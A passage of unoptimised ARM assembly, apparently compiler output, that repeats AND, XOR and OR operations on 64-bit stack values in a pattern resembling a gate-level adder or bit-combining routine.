str r4, [fp, #-544]
sub r1, fp, #564
ldmia r1, {r0-r1}
sub r3, fp, #556
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #4992
sub lr, lr, #28
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4992
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4992
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-540]
str r4, [fp, #-536]
sub r1, fp, #812
ldmia r1, {r0-r1}
sub r3, fp, #628
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4992
sub lr, lr, #36
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4992
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4992
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-532]
str r4, [fp, #-528]
sub r1, fp, #812
ldmia r1, {r0-r1}
sub r3, fp, #628
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4992
sub lr, lr, #44
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4992
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4992
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-524]
str r4, [fp, #-520]
sub r1, fp, #532
ldmia r1, {r0-r1}
sub r3, fp, #844
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4992
sub lr, lr, #52
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4992
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4992
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-516]
str r4, [fp, #-512]
sub r1, fp, #532
ldmia r1, {r0-r1}
sub r3, fp, #844
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4992
sub lr, lr, #60
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4992
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4992
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-508]
str r4, [fp, #-504]
sub r1, fp, #524
ldmia r1, {r0-r1}
sub r3, fp, #516
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5056
sub lr, lr, #4
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5056
str r3, [r2]
sub r3, fp, #5056
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-500]
str r4, [fp, #-496]
sub r1, fp, #772
ldmia r1, {r0-r1}
sub r3, fp, #620
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5056
sub lr, lr, #12
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5056
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #5056
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-492]
str r4, [fp, #-488]
sub r1, fp, #772
ldmia r1, {r0-r1}
sub r3, fp, #620
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5056
sub lr, lr, #20
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5056
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #5056
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-484]
str r4, [fp, #-480]
sub r1, fp, #492
ldmia r1, {r0-r1}
sub r3, fp, #804
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5056
sub lr, lr, #28
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5056
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #5056
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-476]
str r4, [fp, #-472]
sub r1, fp, #492
ldmia r1, {r0-r1}
sub r3, fp, #804
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5056
sub lr, lr, #36
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5056
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #5056
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-468]
str r4, [fp, #-464]
sub r1, fp, #484
ldmia r1, {r0-r1}
sub r3, fp, #476
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5056
sub lr, lr, #44
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5056
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #5056
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-460]
str r4, [fp, #-456]
sub r1, fp, #732
ldmia r1, {r0-r1}
sub r3, fp, #612
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5056
sub lr, lr, #52
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5056
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #5056
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-452]
str r4, [fp, #-448]
sub r1, fp, #732
ldmia r1, {r0-r1}
sub r3, fp, #612
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5056
sub lr, lr, #60
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5056
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #5056
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-444]
str r4, [fp, #-440]
sub r1, fp, #452
ldmia r1, {r0-r1}
sub r3, fp, #764
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5120
sub lr, lr, #4
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5120
str r3, [r2]
sub r3, fp, #5120
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-436]
str r4, [fp, #-432]
sub r1, fp, #452
ldmia r1, {r0-r1}
sub r3, fp, #764
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5120
sub lr, lr, #12
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5120
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #5120
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-428]
str r4, [fp, #-424]
sub r1, fp, #444
ldmia r1, {r0-r1}
sub r3, fp, #436
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5120
sub lr, lr, #20
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5120
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #5120
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-420]
str r4, [fp, #-416]
sub r1, fp, #692
ldmia r1, {r0-r1}
sub r3, fp, #604
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5120
sub lr, lr, #28
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5120
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #5120
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-412]
str r4, [fp, #-408]
sub r1, fp, #692
ldmia r1, {r0-r1}
sub r3, fp, #604
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5120
sub lr, lr, #36
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5120
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #5120
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-404]
str r4, [fp, #-400]
sub r1, fp, #412
ldmia r1, {r0-r1}
sub r3, fp, #724
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5120
sub lr, lr, #44
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5120
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #5120
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-396]
str r4, [fp, #-392]
sub r1, fp, #412
ldmia r1, {r0-r1}
sub r3, fp, #724
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5120
sub lr, lr, #52
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5120
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #5120
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-388]
str r4, [fp, #-384]
sub r1, fp, #404
ldmia r1, {r0-r1}
sub r3, fp, #396
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5120
sub lr, lr, #60
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5120
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #5120
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-380]
str r4, [fp, #-376]
sub r1, fp, #652
ldmia r1, {r0-r1}
sub r3, fp, #596
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5184
sub lr, lr, #4
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5184
str r3, [r2]
sub r3, fp, #5184
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-372]
str r4, [fp, #-368]
sub r1, fp, #652
ldmia r1, {r0-r1}
sub r3, fp, #596
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5184
sub lr, lr, #12
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5184
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #5184
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-364]
str r4, [fp, #-360]
sub r1, fp, #372
ldmia r1, {r0-r1}
sub r3, fp, #684
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5184
sub lr, lr, #20
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5184
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #5184
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-356]
str r4, [fp, #-352]
sub r1, fp, #372
ldmia r1, {r0-r1}
sub r3, fp, #684
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5184
sub lr, lr, #28
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5184
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #5184
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-348]
str r4, [fp, #-344]
sub r1, fp, #364
ldmia r1, {r0-r1}
sub r3, fp, #356
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5184
sub lr, lr, #36
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5184
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #5184
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-340]
str r4, [fp, #-336]
sub r1, fp, #924
ldmia r1, {r0-r1}
sub r3, fp, #588
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5184
sub lr, lr, #44
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5184
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #5184
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-332]
str r4, [fp, #-328]
sub r1, fp, #924
ldmia r1, {r0-r1}
sub r3, fp, #588
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5184
sub lr, lr, #52
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5184
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #5184
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-324]
str r4, [fp, #-320]
sub r1, fp, #332
ldmia r1, {r0-r1}
sub r3, fp, #644
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5184
sub lr, lr, #60
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5184
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #5184
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-316]
str r4, [fp, #-312]
sub r1, fp, #332
ldmia r1, {r0-r1}
sub r3, fp, #644
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5248
sub lr, lr, #4
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5248
str r3, [r2]
sub r3, fp, #5248
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-308]
str r4, [fp, #-304]
sub r1, fp, #324
ldmia r1, {r0-r1}
sub r3, fp, #316
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5248
sub lr, lr, #12
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5248
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #5248
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-300]
str r4, [fp, #-296]
sub r1, fp, #508
ldmia r1, {r0-r1}
sub r3, fp, #540
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5248
sub lr, lr, #20
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5248
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #5248
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-292]
str r4, [fp, #-288]
sub r1, fp, #508
ldmia r1, {r0-r1}
sub r3, fp, #540
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5248
sub lr, lr, #28
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5248
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #5248
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-284]
str r4, [fp, #-280]
sub r1, fp, #468
ldmia r1, {r0-r1}
sub r3, fp, #500
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5248
sub lr, lr, #36
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5248
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #5248
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-276]
str r4, [fp, #-272]
sub r1, fp, #468
ldmia r1, {r0-r1}
sub r3, fp, #500
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5248
sub lr, lr, #44
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5248
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #5248
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-268]
str r4, [fp, #-264]
sub r1, fp, #276
ldmia r1, {r0-r1}
sub r3, fp, #284
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5248
sub lr, lr, #52
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5248
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #5248
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-260]
str r4, [fp, #-256]
sub r1, fp, #276
ldmia r1, {r0-r1}
sub r3, fp, #284
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5248
sub lr, lr, #60
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5248
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #5248
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-252]
str r4, [fp, #-248]
sub r1, fp, #268
ldmia r1, {r0-r1}
sub r3, fp, #260
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5312
sub lr, lr, #4
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5312
str r3, [r2]
sub r3, fp, #5312
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-244]
str r4, [fp, #-240]
sub r1, fp, #428
ldmia r1, {r0-r1}
sub r3, fp, #460
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5312
sub lr, lr, #12
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5312
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #5312
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-236]
str r4, [fp, #-232]
sub r1, fp, #428
ldmia r1, {r0-r1}
sub r3, fp, #460
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5312
sub lr, lr, #20
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5312
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #5312
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-228]
str r4, [fp, #-224]
sub r1, fp, #236
ldmia r1, {r0-r1}
sub r3, fp, #244
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5312
sub lr, lr, #28
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5312
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #5312
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-220]
str r4, [fp, #-216]
sub r1, fp, #236
ldmia r1, {r0-r1}
sub r3, fp, #244
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5312
sub lr, lr, #36
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5312
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #5312
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-212]
str r4, [fp, #-208]
sub r1, fp, #228
ldmia r1, {r0-r1}
sub r3, fp, #220
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5312
sub lr, lr, #44
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5312
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #5312
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-204]
str r4, [fp, #-200]
sub r1, fp, #388
ldmia r1, {r0-r1}
sub r3, fp, #420
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5312
sub lr, lr, #52
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5312
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #5312
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-196]
str r4, [fp, #-192]
sub r1, fp, #388
ldmia r1, {r0-r1}
sub r3, fp, #420
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5312
sub lr, lr, #60
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5312
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #5312
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-188]
str r4, [fp, #-184]
sub r1, fp, #196
ldmia r1, {r0-r1}
sub r3, fp, #204
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5376
sub lr, lr, #4
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5376
str r3, [r2]
sub r3, fp, #5376
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-180]
str r4, [fp, #-176]
sub r1, fp, #196
ldmia r1, {r0-r1}
sub r3, fp, #204
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5376
sub lr, lr, #12
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5376
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #5376
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-172]
str r4, [fp, #-168]
sub r1, fp, #188
ldmia r1, {r0-r1}
sub r3, fp, #180
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5376
sub lr, lr, #20
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5376
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #5376
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-164]
str r4, [fp, #-160]
sub r1, fp, #348
ldmia r1, {r0-r1}
sub r3, fp, #380
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5376
sub lr, lr, #28
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5376
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #5376
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-156]
str r4, [fp, #-152]
sub r1, fp, #348
ldmia r1, {r0-r1}
sub r3, fp, #380
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5376
sub lr, lr, #36
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5376
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #5376
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-148]
str r4, [fp, #-144]
sub r1, fp, #156
ldmia r1, {r0-r1}
sub r3, fp, #164
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5376
sub lr, lr, #44
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5376
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #5376
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-140]
str r4, [fp, #-136]
sub r1, fp, #156
ldmia r1, {r0-r1}
sub r3, fp, #164
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5376
sub lr, lr, #52
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5376
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #5376
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-132]
str r4, [fp, #-128]
sub r1, fp, #148
ldmia r1, {r0-r1}
sub r3, fp, #140
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5376
sub lr, lr, #60
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5376
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #5376
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-124]
str r4, [fp, #-120]
sub r1, fp, #308
ldmia r1, {r0-r1}
sub r3, fp, #340
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5440
sub lr, lr, #4
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5440
str r3, [r2]
sub r3, fp, #5440
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-116]
str r4, [fp, #-112]
sub r1, fp, #308
ldmia r1, {r0-r1}
sub r3, fp, #340
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5440
sub lr, lr, #12
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5440
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #5440
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-108]
str r4, [fp, #-104]
sub r1, fp, #116
ldmia r1, {r0-r1}
sub r3, fp, #124
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5440
sub lr, lr, #20
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5440
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #5440
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-100]
str r4, [fp, #-96]
sub r1, fp, #116
ldmia r1, {r0-r1}
sub r3, fp, #124
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5440
sub lr, lr, #28
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5440
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #5440
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-92]
str r4, [fp, #-88]
sub r1, fp, #108
ldmia r1, {r0-r1}
sub r3, fp, #100
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5440
sub lr, lr, #36
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5440
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #5440
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-84]
str r4, [fp, #-80]
sub r1, fp, #580
ldmia r1, {r0-r1}
sub r3, fp, #300
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5440
sub lr, lr, #44
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5440
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #5440
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-76]
str r4, [fp, #-72]
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
sub r3, fp, #300
ldmia r3, {r2-r3}
and ip, r0, r2
str ip, [fp, #-2964]
and r3, r1, r3
str r3, [fp, #-2960]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2964]
ldr r1, [fp, #-2960]
mov ip, r0
and ip, ip, r2
sub lr, fp, #5440
sub lr, lr, #52
str ip, [lr]
and r1, r1, r3
sub r3, fp, #5440
sub r3, r3, #48
str r1, [r3]
sub r3, fp, #5440
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-68]
str r4, [fp, #-64]
sub r1, fp, #76
ldmia r1, {r0-r1}
sub r3, fp, #84
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #5440
sub lr, lr, #60
str ip, [lr]
and r3, r1, r3
sub r2, fp, #5440
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #5440
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-60]
str r4, [fp, #-56]
sub r1, fp, #76
ldmia r1, {r0-r1}
sub r3, fp, #84
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #5504
sub lr, lr, #4
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #5504
str r3, [r2]
sub r3, fp, #5504
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-52]
str r4, [fp, #-48]
sub r1, fp, #68
ldmia r1, {r0-r1}
sub r3, fp, #60
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #5504
sub lr, lr, #12
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #5504
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #5504
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-44]
str r4, [fp, #-40]
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r0, [fp, #-1660]
ldr r1, [fp, #-1656]
mov r2, #1
mov r3, #0
and ip, r0, r2
str ip, [fp, #-2972]
and r3, r1, r3
str r3, [fp, #-2968]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-2972]
ldr r1, [fp, #-2968]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5504
sub lr, lr, #20
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5504
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #5504
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
ldr r2, [fp, #-2372]
ldr r3, [fp, #-2368]
mov r0, #0
mov r1, #0
lsl r1, r3, #2
orr r1, r1, r2, lsr #30
lsl r0, r2, #2
mov r2, #4
mov r3, #0
and ip, r0, r2
str ip, [fp, #-2980]
and r3, r1, r3
str r3, [fp, #-2976]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-2980]
ldr r1, [fp, #-2976]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5504
sub lr, lr, #28
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5504
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #5504
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
ldr r2, [fp, #-1916]
ldr r3, [fp, #-1912]
mov r0, #0
mov r1, #0
lsl r1, r3, #3
orr r1, r1, r2, lsr #29
lsl r0, r2, #3
mov r2, #8
mov r3, #0
and ip, r0, r2
str ip, [fp, #-2988]
and r3, r1, r3
str r3, [fp, #-2984]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-2988]
ldr r1, [fp, #-2984]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5504
sub lr, lr, #36
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5504
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #5504
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
ldr r2, [fp, #-1580]
ldr r3, [fp, #-1576]
mov r0, #0
mov r1, #0
lsl r1, r3, #4
orr r1, r1, r2, lsr #28
lsl r0, r2, #4
mov r2, #16
mov r3, #0
and ip, r0, r2
str ip, [fp, #-2996]
and r3, r1, r3
str r3, [fp, #-2992]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-2996]
ldr r1, [fp, #-2992]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5504
sub lr, lr, #44
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5504
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #5504
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
ldr r2, [fp, #-1236]
ldr r3, [fp, #-1232]
mov r0, #0
mov r1, #0
lsl r1, r3, #5
orr r1, r1, r2, lsr #27
lsl r0, r2, #5
mov r2, #32
mov r3, #0
and ip, r0, r2
str ip, [fp, #-3004]
and r3, r1, r3
str r3, [fp, #-3000]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3004]
ldr r1, [fp, #-3000]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5504
sub lr, lr, #52
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5504
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #5504
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r3, fp, #892
ldmia r3, {r2-r3}
mov r0, #0
mov r1, #0
lsl r1, r3, #6
orr r1, r1, r2, lsr #26
lsl r0, r2, #6
mov r2, #64
mov r3, #0
and ip, r0, r2
str ip, [fp, #-3012]
and r3, r1, r3
str r3, [fp, #-3008]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3012]
ldr r1, [fp, #-3008]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5504
sub lr, lr, #60
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5504
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #5504
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r3, fp, #548
ldmia r3, {r2-r3}
mov r0, #0
